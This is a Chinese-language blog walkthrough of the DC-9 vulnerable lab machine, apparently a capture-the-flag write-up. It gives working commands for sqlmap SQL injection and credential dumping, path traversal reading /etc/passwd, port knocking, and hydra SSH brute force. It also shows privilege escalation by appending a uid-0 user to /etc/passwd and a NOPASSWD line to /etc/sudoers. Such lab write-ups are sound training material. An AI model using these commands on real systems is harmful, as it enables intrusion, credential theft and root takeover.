DC-9 是另一个专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验。这一挑战的最终目标是获得root,并阅读唯一的flag。

渗透准备


使DC-9和kali在同一网络模式下
使用arp-scan扫描存活主机,确定目标
确定靶机
使用nmap扫描目标主机开放的端口
扫描端口
访问web服务,查看相关信息
web

漏洞查找及利用


SQL注入
在页面发现一个search框,可以查询用户信息,与数据库有交互,猜测可能存在SQL注入,随便输入数据查询,URL框没有改变,说明是POST方式提交,Burp抓包检测是否存在SQL注入的可能
SQL注入点
sqlmap扫描

sqlmap -u "http://192.168.207.139/results.php" --data "search=1" --dbs

sqlmap
发现三个数据库
看看users库

sqlmap -u "http://192.168.207.139/results.php" --data "search=1" -D users --tablesDatabase: users
[1 table]
+-------------+
| UserDetails |
+-------------+
sqlmap -u "http://192.168.207.139/results.php" --data "search=1" -D users -T UserDetails --dump

users
看看staff数据库

sqlmap -u "http://192.168.207.139/results.php" --data "search=1" -D Staff --tables
Database: Staff
[2 tables]
+--------------+
| StaffDetails |
| Users        |
+--------------+

sqlmap -u "http://192.168.207.139/results.php" --data "search=1" -D Staff -T StaffDetails --dump

StaffDetails
查看Staff下Users

sqlmap -u "http://192.168.207.139/results.php" --data "search=1" -D Staff -T Users --dump

Database: Staff
Table: Users
[1 entry]
+--------+--------------------------------------------------+----------+
| UserID | Password                                         | Username |
+--------+--------------------------------------------------+----------+
| 1      | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) | admin    |
+--------+--------------------------------------------------+----------+

dump完密码的时候会提示你是否解密md5,你选择SQLmap自带的字典就可以跑出明文密码

得到用户名和密码后去站点进行登录
manange

挖掘文件包含漏洞
在Manage的下面发现了一句话File does not exits ,猜测可能存在文件包含漏洞,猜测文件参数是file

?file=../../../../etc/passwd

/etc/passwd

端口敲门
knockd字面意思是敲,只是这里敲的是端口,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的。

?file=../../../../etc/knockd.conf

knockd.conf
有3个自定义端口7469,8475,9842,根据Port-knocking的规则依次访问这三个端口就可以打开SSH服务了

nmap -p 7469 192.168.207.139
nmap -p 8475 192.168.207.139
nmap -p 9842 192.168.207.139

或者使用netcat

nc 192.168.207.139 7469

查看ssh服务是否被敲开

nmap -p 22 192.168.207.139
PORT   STATE SERVICE
22/tcp open  ssh

hydra爆破SSH账户
将前面所爆出来的那些员工的账号和密码编写成两个字典,进行ssh爆破

hydra -L dc9user.txt -P dc9pass.txt ssh://192.168.207.139

[22][ssh] host: 192.168.207.139   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.207.139   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.207.139   login: janitor   password: Ilovepeepee

共爆破出三个用户
依次登录3个用户,最终在用户janitor的目录下找到了隐藏文件
password
.secrets-for-putin隐藏文件中有一个可读文件,打开后这好像是存放的用户密码,然后把这些密码再加进刚刚我们编写的password.txt字典中重新再爆破一次看看

hydra -L dc9user.txt -P dc9pass.txt ssh://192.168.207.139

新爆破出用户fredf

[22][ssh] host: 192.168.207.139   login: fredf   password: B4-Tru3-001

提权


使用fredf用户登录靶机

fredf@dc-9:~$ sudo -l  #列出sudo权限的命令
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
尝试运行,发现它是一个python文件

fredf@dc-9:/opt/devstuff/dist/test$ ./test
Usage: python test.py read append

使用find查找test.py文件

fredf@dc-9:/opt/devstuff/dist/test$ find / -name test.py 2>/dev/null
/opt/devstuff/test.py
查看一下内容
cat /opt/devstuff/test.py

test.py
py文件的含义为:读取参数1的内容,然后将参数1的内容写入到参数2的内容中。
那我们可以构造一个root权限用户,将该用户信息写入文件内,将改文件作为参数
kali使用openssl工具先创建一个本地用户密码相同的用户

openssl passwd -1 hacker
$1$7FixElMt$Y6T7miwzQqojpJiwshUx.1
#openssl基本用法
openssl passwd -1 -salt [用户名] [密码]
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密
根据/etc/passwd的格式,修改一下,然后存入一个文件里,这个文件就是参数1

echo 'hacker:$1$7FixElMt$Y6T7miwzQqojpJiwshUx.1:0:0::/root:/bin/bash' >> newpasswd.txt

# 用户名:密码:uid:gid:家目录:登陆后使用的shell

sudo ./test /tmp/newpasswd.txt /etc/passwd

切换用户,提权成功

su hacker
hacker
hacker
cat /root/theflag.txt

flag

总结


这个东西查看攻略,和自己一个人慢慢磨还是有一定差距的,同志仍需努力啊.
另外,也可以将sudo权限授权给当前用户,操作如下

echo 'fredf  ALL=(ALL:ALL)  NOPASSWD:ALL' >> /tmp/newsudoer.txt
sudo ./test /tmp/newsudoer.txt /etc/sudoers
sudo su
最后修改:2021 年 08 月 02 日 02 : 27 PM
如果觉得我的文章对你有用,请随意赞赏